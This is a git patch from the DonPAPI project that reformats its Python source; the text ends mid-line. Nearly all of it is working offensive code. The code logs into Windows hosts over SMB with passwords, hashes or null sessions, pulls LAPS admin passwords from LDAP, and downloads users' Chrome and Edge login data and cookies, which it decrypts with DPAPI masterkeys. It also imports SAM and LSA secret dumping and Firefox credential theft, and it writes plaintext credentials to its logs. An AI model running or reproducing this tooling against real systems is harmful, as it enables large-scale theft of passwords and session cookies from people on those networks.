From a660ac77830718c911e231f2eef1f2b631301cab Mon Sep 17 00:00:00 2001 From: Zeecka <24873615+Zeecka@users.noreply.github.com> Date: Tue, 3 Oct 2023 07:27:06 +0200 Subject: [PATCH] Flake8 (#63) * Flake8 - MyUsers * Flake8 - MySeatbelt (part 1) * Flake8 - MySeatbelt (part 2) * Flake8 - MySeatbelt (part 3) * fix Database --------- Co-authored-by: zblurx --- donpapi/entry.py | 36 +- donpapi/myseatbelt.py | 4575 +++++++++++++++++++++-------------------- donpapi/myusers.py | 262 ++- 3 files changed, 2479 insertions(+), 2394 deletions(-) diff --git a/donpapi/entry.py b/donpapi/entry.py index d77b52f..aaca4ec 100644 --- a/donpapi/entry.py +++ b/donpapi/entry.py @@ -265,26 +265,26 @@ def first_run(options): conn.close() def seatbelt_thread(datas): - global assets - target,options, logger=datas - logging.debug("[*] SeatBelt thread for {ip} Started".format(ip=target)) + global assets + target,options, logger=datas + logging.debug("[*] SeatBelt thread for {ip} Started".format(ip=target)) - try: - mysb = MySeatBelt(target,options,logger) - if mysb.admin_privs: - mysb.do_test() - # mysb.run() - #mysb.quit() - else: - logging.debug("[*] No ADMIN account on target {ip}".format(ip=target)) + try: + mysb = MySeatBelt(target,options,logger) + if mysb.admin_privs: + mysb.do_test() + # mysb.run() + #mysb.close_smb() + else: + logging.debug("[*] No ADMIN account on target {ip}".format(ip=target)) - #assets[target] = mysb.get_secrets() - logging.debug("[*] SeatBelt thread for {ip} Ended".format(ip=target)) - except Exception as e: - if logging.getLogger().level == logging.DEBUG: - import traceback - traceback.print_exc() - logging.error(str(e)) + #assets[target] = mysb.get_secrets() + logging.debug("[*] SeatBelt thread for {ip} Ended".format(ip=target)) + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + traceback.print_exc() + logging.error(str(e)) def export_results_seatbelt(output_dir=''): diff --git a/donpapi/myseatbelt.py b/donpapi/myseatbelt.py index c6d9af2..0196ef9 100644 --- a/donpapi/myseatbelt.py +++ b/donpapi/myseatbelt.py @@ -1,2280 +1,2331 @@ -#!/usr/bin/env python -# coding:utf-8 -''' -PA Vandewoestyne -''' -from __future__ import division -from __future__ import print_function +#!/usr/bin/env python3 +# -*- encoding: utf-8 -*- + +""" +MySeatBelt module contain MySeatBelt class. +@Author: Pierre-Alexandre Vandewoestyne (@T00uF) +""" import copy +import impacket +import socket +import sqlite3 from pathlib import Path -from donpapi.lib.certificates import CertificatesTriage +from ldap3 import ALL, Server, Connection, NTLM +from impacket.dcerpc.v5 import srvs +from impacket.dcerpc.v5.dtypes import NULL, RPC_SID +from impacket.smb import SMB_DIALECT +# import impacket.dpapi + +from donpapi.lib.adconnect import * +from donpapi.lib.certificates import CertificatesTriage +from donpapi.lib.dpapi import DPAPI +from donpapi.lib.fileops import MyRegOps +from donpapi.lib.new_module import * +from donpapi.lib.RecentFiles import * from donpapi.lib.secretsdump import LSASecrets as MyLSASecrets from donpapi.lib.secretsdump import SAMHashes as MySAMHashes from donpapi.lib.secretsdump import RemoteOperations as MyRemoteOperations -import socket, impacket - -from impacket.dcerpc.v5 import srvs -from impacket.dcerpc.v5.dtypes import NULL -from impacket.smb import SMB_DIALECT - -# import impacket.dpapi -from donpapi.lib.dpapi import DPAPI, CredHist +from donpapi.lib.toolbox import is_guid from donpapi.software.browser.chrome_decrypt import * from donpapi.software.browser.firefox_decrypt import * from donpapi.software.sysadmin.vnc import Vnc -from donpapi.lib.toolbox import is_guid -from donpapi.myusers import * -from donpapi.lib.fileops import MyRegOps -from donpapi.database import Database -from donpapi.lib.new_module import * -from donpapi.lib.RecentFiles import * -from donpapi.lib.adconnect import * -from ldap3 import ALL, Server, Connection, NTLM +from donpapi.myusers import MyUser +from donpapi.database import Database # from DonPAPI.lib.lazagne_dpapi.credhist import CredHistFile + class MySeatBelt: - def __init__(self, target, options, logger, verbose=1): - self.logging = logger - self.options = copy.deepcopy(options) - self.options.target_ip = target - self.host = target - # self.username=options.username - # self.password=options.password - # self.domain=options.domain - self.options.timeout = 5 - self.smb = None - # options.target_ip=target - """ - self.logging.info(f"[{target}] [-] initialising smb connection to {options.domain} / {options.username} : {options.password}, @ {options.dc_ip} , Hash : {options.lmhash} : { options.nthash}, AESKey {options.aesKey}") - smbClient = SMBConnection(options.address, target, sess_port=int(options.port)) - if options.k is True: - smbClient.kerberosLogin(options.username, options.password, options.domain, options.lmhash, options.nthash, options.aesKey, options.dc_ip ) - else: - smbClient.login(options.username, options.password, options.domain, options.lmhash, options.nthash) - - self.smb = smbClient - """ - # Init all - self.smbv1 = False - self.admin_privs = False - # self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey, self.TGT, self.TGS = self.smb.getCredentials() - self.share = None - self.last_output = None - self.completion = [] - self.users = [] - self.user_path = '' - self.machine_key = [] - self.user_key = [] - - # self.options[logging] = logge - self.myfileops = None - self.myregops = None - # self.myfileops = MyFileOps(self.smb,self.logging,self.options) - self.credz = options.credz - self.__remoteOps = None - self.__bootKey = b'' - self.__SAMHashes = None - self.__LSASecrets = None - self.global_logfile = b'globallog.log' - self.init_connect() - - # logger.init() - - def init_connect(self): - try: - self.db = Database(sqlite3.connect(self.options.db_path, check_same_thread=False), self.logging) - if self.create_conn_obj(): - # self.do_info_rpc_unauth() - self.do_info_unauth() - self.create_conn_obj() - if self.login_conn(): - self.is_admin() - if self.admin_privs: - self.myfileops = MyFileOps(self.smb, self.logging, self.options) - self.myregops = MyRegOps(self.logging, self.options) - return True - else: - return False - return False - except Exception as e: - self.logging.debug('Error init connect') - return False - - def create_smbv1_conn(self): - try: - self.smb = SMBConnection(self.host, self.host, None, self.options.port, preferredDialect=SMB_DIALECT, - timeout=self.options.timeout) - self.smbv1 = True - logging.debug('SMBv1 OK on {} - {}'.format(self.host, self.options.target_ip)) - except socket.error as e: - if str(e).find('Connection reset by peer') != -1: - logging.debug('SMBv1 might be disabled on {}'.format(self.host)) - return False - except Exception as e: - logging.debug('Error creating SMBv1 connection to {}: {}'.format(self.host, e)) - return False - - return True - - def create_smbv3_conn(self): - try: - self.smb = SMBConnection(self.host, self.host, None, self.options.port, timeout=self.options.timeout) - self.smbv1 = False - logging.debug('SMBv3 OK on {} - {}'.format(self.host, self.options.target_ip)) - except Exception as e: - self.logging.debug('Error creating SMBv3 connection to {}: {}'.format(self.host, e)) - self.db.add_computer(ip=self.host, connectivity=f"{e}") - return False - - return True - - def create_conn_obj(self): - # self.logging.info(f"[{self.options.target_ip}] [-] initialising smb connection to {self.options.domain} / {self.options.username} : {self.options.password}, @ {self.options.dc_ip} , Hash : {self.options.lmhash} : {self.options.nthash}, AESKey {self.options.aesKey}") - self.logging.debug(f"[{self.options.target_ip}] [-] initialising smb connection ...") - if self.create_smbv1_conn(): - return True - elif self.create_smbv3_conn(): - return True - - return False - - def quit(self): - try: - self.logging.debug(f"[{self.options.target_ip}] [-] initialising smb close ...") - # self.myfileops.close() - # self.myregops.close() - # self.smb.close() - self.logging.debug(f"[{self.options.target_ip}] [-] smb closed ...") - except Exception as e: - self.logging.debug('Error in closing SMB connection') - return False - - def get_laps(self): - try: - self.logging.debug( - f"[{self.options.target_ip}] [-] Using LAPS to get Local admin password on {self.options.hostname} - domain {self.options.domain} : dcip {self.options.dc_ip}") - ldap_domain = '' - ldap_domain_parts = self.options.domain.split('.') - for part in ldap_domain_parts: - ldap_domain += f"dc={part}," - ldap_domain = ldap_domain[:-1] - - if self.options.dc_ip != None: - s = Server(self.options.dc_ip, get_info=ALL) - else: - s = Server(self.options.domain, get_info=ALL) - c = Connection(s, user=self.options.domain + "\\" + self.options.username, password=self.options.password, - authentication=NTLM, auto_bind=True) - c.search(search_base=f"{ldap_domain}", - search_filter=f'(&(cn={self.options.hostname})(ms-MCS-AdmPwd=*))', - attributes=['ms-MCS-AdmPwd', 'SAMAccountname']) - self.logging.debug( - f"[{self.options.target_ip}] [-] Using LAPS to get Local admin password on {self.options.hostname} - {ldap_domain} - got {len(c.entries)} match") - if len(c.entries) == 1: - # for entry in c.entries[0]: - entry = c.entries[0] - # self.options.username = str(entry['sAMAccountName']) - self.options.password = str(entry['ms-Mcs-AdmPwd']) - # self.username = self.options.username - # self.password = self.options.password - self.options.local_auth = True - self.options.domain = self.options.hostname - return True - else: - return False - except Exception as ex: - self.logging.debug(f"[{self.options.target_ip}] Exception {bcolors.WARNING} in get LAPS {bcolors.ENDC}") - self.logging.debug(ex) - return False - - def login_conn(self, username=None, password=None, domain=None): - try: - if username is None: - username = self.options.username - if password == None: - password = self.options.password - if domain == None: - domain = self.options.domain - # smbClient = SMBConnection(options.address, target, sess_port=int(options.port)) - if self.options.k is True: - self.logging.debug( - f"[{self.options.target_ip}] [-] initialising smb Kerberos Authentification to {self.options.domain} / {self.options.username} : {self.options.password}, @ {self.options.dc_ip} , Hash : {self.options.lmhash} : {self.options.nthash}, AESKey {self.options.aesKey}") - self.smb.kerberosLogin(username, password, domain, self.options.lmhash, self.options.nthash, - self.options.aesKey, self.options.dc_ip) - return True - # elif self.options.hashes != None: - else: - if self.options.laps is True and username != '' and password != '': # not doing LAPS for null session - if (self.get_laps()): - for username in ['administrator', 'administrateur', 'administrador']: - try: - self.logging.debug( - f"[{self.options.target_ip}] [-] initialising smb Local Authentification to {self.options.domain} / {username} : {self.options.password}, @ {self.host} , Hash : {self.options.lmhash} : {self.options.nthash}, AESKey {self.options.aesKey}") - self.smb.login(username, self.options.password, self.options.domain, - self.options.lmhash, self.options.nthash, ntlmFallback=True) - self.options.username = username - if username not in self.options.credz: - self.options.credz[username] = [self.options.password] - else: - self.options.credz[username].append(self.options.password) - return True - except Exception as ex: - self.logging.debug( - f"[{self.options.target_ip}] Exception {bcolors.WARNING} in LOGIN_Connection - LAPS with {bcolors.ENDC}") - self.logging.debug(ex) - continue - else: - if username == "" and password == "": - try: - self.logging.debug( - f"[{self.options.target_ip}] [-] initialising smb NullSession to {self.host}") - self.smb.login(username, password, domain, self.options.lmhash, self.options.nthash, - ntlmFallback=True) - except Exception as ex: - self.logging.debug( - f"[{self.options.target_ip}] Exception {bcolors.WARNING} in NullSession {bcolors.ENDC}") - self.logging.debug(ex) - return False - else: - self.logging.debug( - f"[{self.options.target_ip}] [-] initialising smb Authentification to {domain} / {username} : {password}, @ {self.host} , Hash : {self.options.lmhash} : {self.options.nthash}, AESKey {self.options.aesKey}") - self.smb.login(username, password, domain, self.options.lmhash, self.options.nthash, - ntlmFallback=True) - '''except : #self.smb.STATUS_LOGON_FAILURE : - try: - if domain != self.hostname: - #Trying localy - self.smb.login(username, password, self.hostname, self.options.lmhash, self.options.nthash, ntlmFallback=True) - return True - else:#On pourrait tenter une connexion domain, mais on risque d'augmenter le compte des erreurs - self.logging.error(f"[{self.options.target_ip}] Error {bcolors.WARNING} Connexion refused with credentials {domain}/{username}:{password}@{self.host} {bcolors.ENDC}") - return False - except Exception as ex: - self.logging.error(f"[{self.options.target_ip}] Exception {bcolors.WARNING} Connexion Error in Local attempt {bcolors.ENDC}") - self.logging.debug(ex) - return False''' - # self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey, self.TGT, self.TGS = self.smb.getCredentials() - return True - except Exception as ex: - self.logging.debug( - f"[{self.options.target_ip}] Exception {bcolors.WARNING} in LOGIN_Connection {bcolors.ENDC}") - self.logging.debug(ex) - return False - - def GetUserByName(self, username): - for user in self.users: - if user.username == username: - return user - else: - self.logging.debug("User %s Not found in self.users" % username) - - def is_admin(self): - self.logging.debug(f"[{self.options.target_ip}] Checking if is admin ") - self.admin_privs = False - try: - self.smb.connectTree("C$") - self.admin_privs = True - self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKBLUE}Is ADMIN{bcolors.ENDC}") - self.db.update_computer(ip=self.options.target_ip, is_admin=True) - except SessionError as e: - self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception in IS ADMIN{bcolors.ENDC}") - self.logging.debug(f"[{self.options.target_ip}] {e}") - self.db.update_computer(ip=self.options.target_ip, is_admin=False) - pass - return self.admin_privs - - def do_info_unauth(self): - # self.local_ip = self.conn.getSMBServer().get_socket().getsockname()[0] - try: - # Null session to get basic infos - self.login_conn(username='', password='') - # self.domain = self.smb.getServerDNSDomainName() - self.options.hostname = self.smb.getServerName() - # self.options.hostname=self.hostname - self.server_os = self.smb.getServerOS() - self.signing = self.smb.isSigningRequired() if self.smbv1 else self.smb._SMBConnection._Connection[ - 'RequireSigning'] - # self.os_arch = self.get_os_arch() - if self.options.domain == '': # no domain info == local auth - self.options.domain = self.options.hostname - # elif self.options.domain != '': - # self.domain = self.options.domain - - self.logging.info( - f"[{self.options.target_ip}] [+] {bcolors.OKBLUE}{self.options.hostname}{bcolors.ENDC} (domain:{self.smb.getServerDNSDomainName()}) ({self.server_os}) [SMB Signing {'Enabled' if self.signing else 'Disabled'}]") - self.db.add_computer(ip=self.options.target_ip, hostname=self.options.hostname, - domain=self.smb.getServerDNSDomainName(), os=self.server_os, - smb_signing_enabled=self.signing, smbv1_enabled=self.smbv1) - - except Exception as ex: - self.logging.debug( - f"[{self.options.target_ip}] Exception {bcolors.WARNING} in DO INFO UNAUTH {bcolors.ENDC}") - self.logging.debug(ex) - - def do_info_rpc_unauth(self): - try: - rpctransport = transport.SMBTransport(self.smb.getRemoteHost(), filename=r'\srvsvc', - smb_connection=self.smb) - dce = rpctransport.get_dce_rpc() - dce.connect() - dce.bind(srvs.MSRPC_UUID_SRVS) - resp = srvs.hNetrServerGetInfo(dce, 102) - self.logging.debug("Server Name: %s" % resp['InfoStruct']['ServerInfo102']['sv102_name']) - self.hostname = resp['InfoStruct']['ServerInfo102']['sv102_name'] - except Exception as ex: - self.logging.debug(f"[{self.options.target_ip}] Exception {bcolors.WARNING} in DO INFO {bcolors.ENDC}") - self.logging.debug(ex) - - def do_info_with_auth(self): - # self.local_ip = self.conn.getSMBServer().get_socket().getsockname()[0] - try: - # Null session to get basic infos - self.login_conn() - # self.domain = self.smb.getServerDNSDomainName() - self.options.hostname = self.smb.getServerName() - self.server_os = self.smb.getServerOS() - self.signing = self.smb.isSigningRequired() if self.smbv1 else self.smb._SMBConnection._Connection[ - 'RequireSigning'] - # self.os_arch = self.get_os_arch() - if not self.domain and self.options.domain == '': - self.domain = self.options.hostname - elif self.options.domain != '': - self.domain = self.options.domain - - self.logging.info( - f"[{self.options.target_ip}] [+] {bcolors.OKBLUE}{self.hostname}{bcolors.ENDC} (domain:{self.domain}) {self.hostname} ({self.server_os}) [SMB Signing {'Enabled' if self.signing else 'Disabled'}]") - # IP# print(self.smb.getRemoteHost()) - # print(self.smb.getServerDNSDomainName()) - rpctransport = transport.SMBTransport(self.smb.getRemoteHost(), filename=r'\srvsvc', - smb_connection=self.smb) - dce = rpctransport.get_dce_rpc() - dce.connect() - dce.bind(srvs.MSRPC_UUID_SRVS) - resp = srvs.hNetrServerGetInfo(dce, 102) - # self.signing = self.smb.isSigningRequired() if self.smbv1 else self.smb._SMBConnection._Connection['RequireSigning'] - # self.os_arch = self.get_os_arch() - - # self.logging.debug("Version Major: %d" % resp['InfoStruct']['ServerInfo102']['sv102_version_major']) - # self.logging.debug("Version Minor: %d" % resp['InfoStruct']['ServerInfo102']['sv102_version_minor']) - # self.logging.debug("Server Name: %s" % resp['InfoStruct']['ServerInfo102']['sv102_name']) - # self.logging.debug("Server Comment: %s" % resp['InfoStruct']['ServerInfo102']['sv102_comment']) - # self.logging.debug("Server UserPath: %s" % resp['InfoStruct']['ServerInfo102']['sv102_userpath']) - # self.logging.debug("Simultaneous Users: %d" % resp['InfoStruct']['ServerInfo102']['sv102_users']) - # USE user path - self.user_path = resp['InfoStruct']['ServerInfo102']['sv102_userpath'] - - self.db.add_computer(ip=self.options.target_ip, hostname=self.hostname, domain=self.domain, - os=self.server_os) - self.logging.info( - f"[{self.options.target_ip}] [+] {bcolors.OKBLUE}{self.hostname}{bcolors.ENDC} (domain:{self.domain}) ({self.server_os} - {resp['InfoStruct']['ServerInfo102']['sv102_comment']} -{resp['InfoStruct']['ServerInfo102']['sv102_userpath']} - {resp['InfoStruct']['ServerInfo102']['sv102_users']})") - - except Exception as ex: - self.logging.debug(f"[{self.options.target_ip}] Exception {bcolors.WARNING} in DO INFO AUTH{bcolors.ENDC}") - self.logging.debug(ex) - - def logsecret(self, data): - try: - fh = open(self.global_logfile, 'ab') - fh.write(data.encode()) - fh.close() - self.logging.info(f"[{self.options.target_ip}] [+] {bcolors.OKGREEN} {data} {bcolors.ENDC}") - except Exception as ex: - self.logging.debug( - f"[{self.options.target_ip}] {bcolors.WARNING}Exception logsecret for {data} {bcolors.ENDC}") - self.logging.debug(ex) - - - def GetEdgeSecrets(self): - self.logging.info(f"[{self.options.target_ip}] {bcolors.OKBLUE}[+] Gathering MSEdge Secrets {bcolors.ENDC}") - blacklist = ['.', '..'] - - user_directories = [("Users\\{username}\\AppData\\Local\\Microsoft\\Edge\\User Data", 'Local State', - 'ChromeLocalState', 'DOMAIN'), - ("Users\\{username}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default", 'Cookies', - 'ChromeCookies', 'DOMAIN'), - ("Users\\{username}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default", - 'Extension Cookies', 'ChromeCookies', 'DOMAIN'), - ( - "Users\\{username}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Network", 'Cookies', - 'ChromeCookies', 'DOMAIN'), - ( - "Users\\{username}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Safe Browsing Network", - 'Safe Browsing Cookies', 'ChromeCookies', 'DOMAIN'), - ("Users\\{username}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default", 'Login Data', - 'ChromeLoginData', 'DOMAIN'), - ("Users\\{username}\\AppData\\Local\\Microsoft\\Edge\\User Data", 'Last Version', - 'ChromeVersion', 'DOMAIN'), - ] - - for user in self.users: - if user.username == 'MACHINE$': - continue - else: - directories_to_use = user_directories - myoptions = copy.deepcopy(self.options) - myoptions.file = None # "chrome_enc_blob.tmp" # BLOB to parse - myoptions.key = None - myoptions.masterkeys = None - myChromeSecrets = CHROME_LOGINS(myoptions, self.logging, self.db, user.username, type="MSEdge") - - # if len(user.masterkeys)>0:#Pas de masterkeys==pas de datas a recup - for info in directories_to_use: - my_dir, my_mask, my_blob_type, my_user_type = info - tmp_pwd = my_dir.format( - username=user.username) # tmp_pwd = f"Users\\{user.username}\\{my_dir}"#ntpath.join(ntpath.join('Users', user.username), my_dir) - self.logging.debug( - f"[{self.options.target_ip}] Looking for {user.username} files in {tmp_pwd} with mask {my_mask}") - my_directory = self.myfileops.do_ls(tmp_pwd, my_mask, display=False) - for infos in my_directory: - longname, is_directory = infos - self.logging.debug("ls returned file %s" % longname) - if longname not in blacklist and not is_directory: - try: - self.logging.debug( - f"[{self.options.target_ip}] [+] Found {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Chrome files : {longname}") - # Downloading Blob file - localfile = self.myfileops.get_file(ntpath.join(tmp_pwd, longname), allow_access_error=True) - # myoptions = copy.deepcopy(self.options) - if my_blob_type == 'ChromeLocalState': - try: - myChromeSecrets.localstate_path = localfile - guid = myChromeSecrets.get_masterkey_guid_from_localstate() - if guid != None: - masterkey = self.get_masterkey(user=user, guid=guid, type=my_user_type) - if masterkey != None: - if masterkey['status'] == 'decrypted': - myChromeSecrets.masterkey = masterkey['key'] - aesKey = myChromeSecrets.get_AES_key_from_localstate( - masterkey=masterkey['key']) - if aesKey != None: - self.logging.debug( - f"[{self.options.target_ip}] {bcolors.OKGREEN}Decryption successfull of {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Chrome AES Key {aesKey} {bcolors.ENDC}") - else: - self.logging.debug( - f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting AES Key for Chrome Local State with Masterkey{bcolors.ENDC}") - else: - self.logging.debug( - f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting AES Key for Chrome Local State - Masterkey not decrypted{bcolors.ENDC}") - else: - self.logging.debug( - f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting AES Key for Chrome Local State with Masterkey- cant get masterkey {guid}{bcolors.ENDC}") - else: - self.logging.debug( - f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting AES Key for Chrome Local State with Masterkey - can t get the GUID of masterkey from blob file{bcolors.ENDC}") - except Exception as ex: - self.logging.debug( - f"[{self.options.target_ip}] {bcolors.WARNING}Exception in ChromeLocalState{bcolors.ENDC}") - self.logging.debug(ex) - if my_blob_type == 'ChromeLoginData': - try: - myChromeSecrets.logindata_path = localfile - user.files[longname] = {} - user.files[longname]['type'] = my_blob_type - user.files[longname]['status'] = 'encrypted' - user.files[longname]['path'] = localfile - logins = myChromeSecrets.decrypt_chrome_LoginData() - user.files[longname]['secret'] = logins - if logins is not None: - user.files[longname]['status'] = 'decrypted' - except Exception as ex: - self.logging.debug( - f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting logindata for CHROME {user.username} {localfile} {bcolors.ENDC}") - self.logging.debug(ex) - if my_blob_type == 'ChromeCookies': - try: - myChromeSecrets.cookie_path = localfile - user.files[longname] = {} - user.files[longname]['type'] = my_blob_type - user.files[longname]['status'] = 'encrypted' - user.files[longname]['path'] = localfile - cookies = myChromeSecrets.decrypt_chrome_CookieData() - user.files[longname]['secret'] = cookies - if cookies is not None: - user.files[longname]['status'] = 'decrypted' - except Exception as ex: - self.logging.debug( - f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting CookieData for CHROME {user.username} {localfile} {bcolors.ENDC}") - self.logging.debug(ex) - if my_blob_type == 'ChromeVersion': - try: - myChromeSecrets.version_path = localfile - user.files[longname] = {} - user.files[longname]['type'] = my_blob_type - user.files[longname]['status'] = 'encrypted' - user.files[longname]['path'] = localfile - cookies = myChromeSecrets.get_chrome_Version() - user.files[longname]['secret'] = cookies - if cookies is not None: - user.files[longname]['status'] = 'decrypted' - except Exception as ex: - self.logging.debug( - f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting CookieData for CHROME {user.username} {localfile} {bcolors.ENDC}") - self.logging.debug(ex) - - except Exception as ex: - self.logging.debug( - f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting Blob for {localfile} with Masterkey{bcolors.ENDC}") - self.logging.debug(ex) - - def GetMozillaSecrets_wrapper(self): - self.logging.info(f"[{self.options.target_ip}] {bcolors.OKBLUE}[+] Gathering Mozilla Secrets {bcolors.ENDC}") - - for user in self.users: - if user.username == 'MACHINE$': - continue - try: - myoptions = copy.deepcopy(self.options) - myoptions.file = None # "chrome_enc_blob.tmp" # BLOB to parse - myoptions.key = None - myoptions.masterkeys = None - myFirefoxSecrets = FIREFOX_LOGINS(myoptions, self.logging, user, self.myfileops, self.db) - myFirefoxSecrets.run() - except Exception as ex: - self.logging.debug( - f"[{self.options.target_ip}] {bcolors.WARNING}Exception GetMozillaSecrets_wrapper for {user.username} {bcolors.ENDC}") - self.logging.debug(ex) - - def GetChromeSecrets(self): - self.logging.info(f"[{self.options.target_ip}] {bcolors.OKBLUE}[+] Gathering Chrome Secrets {bcolors.ENDC}") - blacklist = ['.', '..'] - # Parse chrome - # autres navigateurs ? - - user_directories = [("Users\\{username}\\AppData\\Local\\Google\\Chrome\\User Data", 'Local State', - 'ChromeLocalState', 'DOMAIN'), - ("Users\\{username}\\AppData\\Local\\Google\\Chrome\\User Data\\Default", 'Cookies', - 'ChromeCookies', 'DOMAIN'), - ("Users\\{username}\\AppData\\Local\\Google\\Chrome\\User Data\\Default", - 'Extension Cookies', 'ChromeCookies', 'DOMAIN'), - ( - "Users\\{username}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network", 'Cookies', - 'ChromeCookies', 'DOMAIN'), - ( - "Users\\{username}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Safe Browsing Network", - 'Safe Browsing Cookies', 'ChromeCookies', 'DOMAIN'), - ("Users\\{username}\\AppData\\Local\\Google\\Chrome\\User Data\\Default", 'Login Data', - 'ChromeLoginData', 'DOMAIN'), - ("Users\\{username}\\AppData\\Local\\Google\\Chrome\\User Data", 'Last Version', - 'ChromeVersion', 'DOMAIN'), - ] - - for user in self.users: - if user.username == 'MACHINE$': - continue - else: - directories_to_use = user_directories - myoptions = copy.deepcopy(self.options) - myoptions.file = None # "chrome_enc_blob.tmp" # BLOB to parse - myoptions.key = None - myoptions.masterkeys = None - myChromeSecrets = CHROME_LOGINS(myoptions, self.logging, self.db, user.username) - - # if len(user.masterkeys)>0:#Pas de masterkeys==pas de datas a recup - for info in directories_to_use: - my_dir, my_mask, my_blob_type, my_user_type = info - tmp_pwd = my_dir.format( - username=user.username) # tmp_pwd = f"Users\\{user.username}\\{my_dir}"#ntpath.join(ntpath.join('Users', user.username), my_dir) - self.logging.debug( - f"[{self.options.target_ip}] Looking for {user.username} files in {tmp_pwd} with mask {my_mask}") - my_directory = self.myfileops.do_ls(tmp_pwd, my_mask, display=False) - for infos in my_directory: - longname, is_directory = infos - self.logging.debug("ls returned file %s" % longname) - if longname not in blacklist and not is_directory: - try: - self.logging.debug( - f"[{self.options.target_ip}] [+] Found {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Chrome files : {longname}") - # Downloading Blob file - localfile = self.myfileops.get_file(ntpath.join(tmp_pwd, longname), allow_access_error=True) - # myoptions = copy.deepcopy(self.options) - if my_blob_type == 'ChromeLocalState': - try: - myChromeSecrets.localstate_path = localfile - guid = myChromeSecrets.get_masterkey_guid_from_localstate() - if guid != None: - masterkey = self.get_masterkey(user=user, guid=guid, type=my_user_type) - if masterkey != None: - if masterkey['status'] == 'decrypted': - myChromeSecrets.masterkey = masterkey['key'] - aesKey = myChromeSecrets.get_AES_key_from_localstate( - masterkey=masterkey['key']) - if aesKey != None: - self.logging.debug( - f"[{self.options.target_ip}] {bcolors.OKGREEN}Decryption successfull of {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Chrome AES Key {aesKey} {bcolors.ENDC}") - else: - self.logging.debug( - f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting AES Key for Chrome Local State with Masterkey{bcolors.ENDC}") - else: - self.logging.debug( - f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting AES Key for Chrome Local State - Masterkey not decrypted{bcolors.ENDC}") - else: - self.logging.debug( - f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting AES Key for Chrome Local State with Masterkey- cant get masterkey {guid}{bcolors.ENDC}") - else: - self.logging.debug( - f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting AES Key for Chrome Local State with Masterkey - can t get the GUID of masterkey from blob file{bcolors.ENDC}") - except Exception as ex: - self.logging.debug( - f"[{self.options.target_ip}] {bcolors.WARNING}Exception in ChromeLocalState{bcolors.ENDC}") - self.logging.debug(ex) - if my_blob_type == 'ChromeLoginData': - try: - myChromeSecrets.logindata_path = localfile - user.files[longname] = {} - user.files[longname]['type'] = my_blob_type - user.files[longname]['status'] = 'encrypted' - user.files[longname]['path'] = localfile - logins = myChromeSecrets.decrypt_chrome_LoginData() - user.files[longname]['secret'] = logins - if logins is not None: - user.files[longname]['status'] = 'decrypted' - except Exception as ex: - self.logging.debug( - f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting logindata for CHROME {user.username} {localfile} {bcolors.ENDC}") - self.logging.debug(ex) - if my_blob_type == 'ChromeCookies': - try: - myChromeSecrets.cookie_path = localfile - user.files[longname] = {} - user.files[longname]['type'] = my_blob_type - user.files[longname]['status'] = 'encrypted' - user.files[longname]['path'] = localfile - cookies = myChromeSecrets.decrypt_chrome_CookieData() - user.files[longname]['secret'] = cookies - if cookies is not None: - user.files[longname]['status'] = 'decrypted' - except Exception as ex: - self.logging.debug( - f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting CookieData for CHROME {user.username} {localfile} {bcolors.ENDC}") - self.logging.debug(ex) - if my_blob_type == 'ChromeVersion': - try: - myChromeSecrets.version_path = localfile - user.files[longname] = {} - user.files[longname]['type'] = my_blob_type - user.files[longname]['status'] = 'encrypted' - user.files[longname]['path'] = localfile - cookies = myChromeSecrets.get_chrome_Version() - user.files[longname]['secret'] = cookies - if cookies is not None: - user.files[longname]['status'] = 'decrypted' - except Exception as ex: - self.logging.debug( - f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting CookieData for CHROME {user.username} {localfile} {bcolors.ENDC}") - self.logging.debug(ex) - - except Exception as ex: - self.logging.debug( - f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting Blob for {localfile} with Masterkey{bcolors.ENDC}") - self.logging.debug(ex) - - def getMdbData(self): - try: - return self.getMdbData2() - except UnicodeDecodeError: - return self.getMdbData2('utf-16-le') - - def getMdbData2(self, codec='utf-8'): - try: - out = { - 'cryptedrecords': [], - 'xmldata': [] - } - keydata = None - # - # self.options.from_file='adsync_export' - - if self.options.from_file: - logging.info('Loading configuration data from %s on filesystem', self.options.from_file) - infile = codecs.open(self.options.from_file, 'r', codec) - enumtarget = infile - else: - logging.info('Querying database for configuration data') - dbpath = os.path.join(os.getcwd(), r"ADSync.mdf") - output = subprocess.Popen(["ADSyncQuery.exe", dbpath], stdout=subprocess.PIPE).communicate()[0] - enumtarget = output.split('\n') - - #####TEMP - # logging.info('Loading configuration data from %s on filesystem', self.__options.from_file) - # infile = codecs.open('adsync_export', 'r', codec) - # enumtarget = infile - ###### - - for line in enumtarget: - try: - ltype, data = line.strip().split(': ') - except ValueError: - continue - ltype = ltype.replace(u'\ufeff', u'') - if ltype.lower() == 'record': - xmldata, crypteddata = data.split(';') - out['cryptedrecords'].append(crypteddata) - out['xmldata'].append(xmldata) - # print(f"record found : {xmldata}") - - if ltype.lower() == 'config': - instance, keyset_id, entropy = 